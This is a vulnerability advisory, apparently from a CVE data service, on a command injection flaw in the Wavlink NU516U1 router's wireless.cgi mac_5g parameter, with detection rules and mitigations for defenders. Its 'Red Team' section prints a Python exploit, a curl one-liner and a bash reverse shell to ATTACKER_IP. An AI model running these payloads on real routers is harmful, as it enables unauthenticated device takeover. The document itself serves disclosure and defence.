CVE-2025-10962
Executive Summary
CVE-2025-10962 is a critical command injection vulnerability in the Wavlink NU516U1 router, specifically in firmware version M16U1_V240425. The flaw resides in the sub_403198 function within /cgi-bin/wireless.cgi, where the mac_5g argument is improperly sanitized, allowing an unauthenticated remote attacker to inject arbitrary operating system commands. With a CVSS score of 6.3 (Medium), the exploit is publicly available, and the vendor has not responded to disclosure attempts. This vulnerability poses a significant risk to network integrity, as it can be exploited to gain full control over the affected device.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in a hardware device (Wavlink NU516U1 router). No supply chain package security implications apply.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
- Base Score: 6.3 (Medium)
- Attack Vector: Network (AV:N) – Exploitable remotely without physical access.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No victim action required.
- Scope: Unchanged (S:U) – Exploit does not affect other components.
- Confidentiality Impact: Low (C:L) – Limited data exposure.
- Integrity Impact: Low (I:L) – Limited modification capability.
- Availability Impact: Low (A:L) – Limited service disruption.
Threat Level: High due to public exploit availability, no patch, and remote unauthenticated access.
Deep Dive & Mechanics
The vulnerability is a classic command injection flaw in the Wavlink NU516U1 router's web interface. The SetName page, handled by /cgi-bin/wireless.cgi, processes the mac_5g parameter without proper sanitization. The sub_403198 function likely constructs a system command (e.g., iwconfig or similar) using the user-supplied mac_5g value. By injecting shell metacharacters (e.g., ;, |, $()), an attacker can execute arbitrary commands on the underlying Linux operating system.
Root Cause: Lack of input validation and failure to escape shell metacharacters in the mac_5g parameter.
Attack Flow:
- Attacker sends a crafted HTTP POST request to
/cgi-bin/wireless.cgiwith a maliciousmac_5gvalue. - The CGI script passes the value to
sub_403198, which concatenates it into a shell command. - The injected command executes with root privileges (typical for router CGI processes).
- Attacker gains remote code execution, enabling full device compromise.
Example Payload:
mac_5g=00:11:22:33:44:55;id
This would execute the id command after the intended operation.
Vulnerable vs. Patched Code
Vulnerable Code (M16U1_V240425):
// Pseudocode for sub_403198
void sub_403198(char *mac_5g) {
char cmd[256];
snprintf(cmd, sizeof(cmd), "iwconfig wlan0 set mac %s", mac_5g);
system(cmd);
}
The mac_5g value is directly inserted into the command string without sanitization.
Patched Code (Hypothetical):
void sub_403198(char *mac_5g) {
char cmd[256];
// Validate MAC address format
if (!is_valid_mac(mac_5g)) {
return;
}
// Escape shell metacharacters
char *escaped = escape_shell(mac_5g);
snprintf(cmd, sizeof(cmd), "iwconfig wlan0 set mac %s", escaped);
system(cmd);
free(escaped);
}
A proper patch would validate the MAC address format and escape shell metacharacters, or use safer APIs like execve with arguments.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Wavlink NU516U1 router with firmware M16U1_V240425.
- Network access to the router's web interface (typically on port 80 or 443).
- Python3 or curl installed.
Exploit Script (Python):
import requests
target = "http://192.168.1.1/cgi-bin/wireless.cgi"
payload = "00:11:22:33:44:55;id"
data = {"mac_5g": payload}
response = requests.post(target, data=data)
print(response.text)
Manual Exploit with curl:
curl -X POST http://192.168.1.1/cgi-bin/wireless.cgi -d "mac_5g=00:11:22:33:44:55;id"
Reverse Shell Payload:
mac_5g=00:11:22:33:44:55;bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
Lab Setup:
- Set up a Wavlink NU516U1 router in an isolated lab network.
- Configure a Kali Linux attacker machine on the same subnet.
- Run the exploit script to verify command execution.
- Use netcat to catch the reverse shell:
nc -lvnp 4444.
Blue Team
Detection:
- Monitor HTTP POST requests to
/cgi-bin/wireless.cgiwith suspiciousmac_5gparameters containing shell metacharacters (;,|,$,`). - Look for outbound connections from the router to unusual IPs (reverse shell attempts).
- Check for unexpected processes spawned by the CGI script (e.g.,
bash,sh,id).
Hunting:
- Search logs for
mac_5gvalues containing non-MAC characters (e.g., letters beyond A-F, spaces, symbols). - Correlate with network scans for Wavlink devices on port 80/443.
Indicators of Compromise (IOCs)
- Network:
- HTTP POST requests to
/cgi-bin/wireless.cgiwithmac_5gcontaining shell metacharacters. - Outbound connections from the router to unknown IPs on high ports (e.g., 4444, 1337).
- HTTP POST requests to
- File System:
- Unusual files in
/tmp/or/var/created by injected commands. - Modified
/etc/passwdor/etc/shadow(if attacker adds users).
- Unusual files in
- Processes:
bash,sh,python, orperlprocesses spawned byhttpdorcgiprocesses.
- Logs:
- Entries in
/var/log/messagesorsyslogshowing command execution errors.
- Entries in
Detection Engineering
YARA Rule
rule CVE_2025_10962_Wavlink_Command_Injection {
meta:
description = "Detects command injection attempts targeting CVE-2025-10962 in Wavlink NU516U1"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-10962"
strings:
$mac_param = "mac_5g=" nocase
$shell_meta1 = ";" ascii
$shell_meta2 = "|" ascii
$shell_meta3 = "$(" ascii
$shell_meta4 = "`" ascii
condition:
$mac_param and any of ($shell_meta*)
}
Sigma Rule
title: CVE-2025-10962 Wavlink Command Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP POST requests to /cgi-bin/wireless.cgi with suspicious mac_5g parameter
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
cs-uri-stem: '/cgi-bin/wireless.cgi'
cs-uri-query|contains: 'mac_5g='
filter:
cs-uri-query|re: 'mac_5g=[0-9A-Fa-f:]{17}$'
condition: selection and not filter
falsepositives:
- Legitimate MAC address updates (unlikely to contain shell metacharacters)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-10962 Wavlink Command Injection Attempt";
flow:to_server,established;
content:"POST";
http_method;
content:"/cgi-bin/wireless.cgi";
http_uri;
content:"mac_5g=";
http_client_body;
pcre:"/mac_5g=[^&]*[;|$`]/Pi";
sid:10000001;
rev:1;
reference:cve,2025-10962;
classtype:attempted-admin;
priority:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable Remote Management: If not required, disable the web interface from the WAN side.
- Network Segmentation: Place the router in a separate VLAN with strict firewall rules.
- Monitor Logs: Enable logging and monitor for exploitation attempts.
- Firmware Update: Check Wavlink's website for any future patches. If none, consider replacing the device.
Long-Term Fix:
- Vendor must release a patched firmware that sanitizes the
mac_5gparameter. - Implement input validation (MAC address format) and use safe system call APIs.
Workaround:
- Use a reverse proxy or WAF (e.g., ModSecurity) to block requests containing shell metacharacters in the
mac_5gparameter.
Valters IT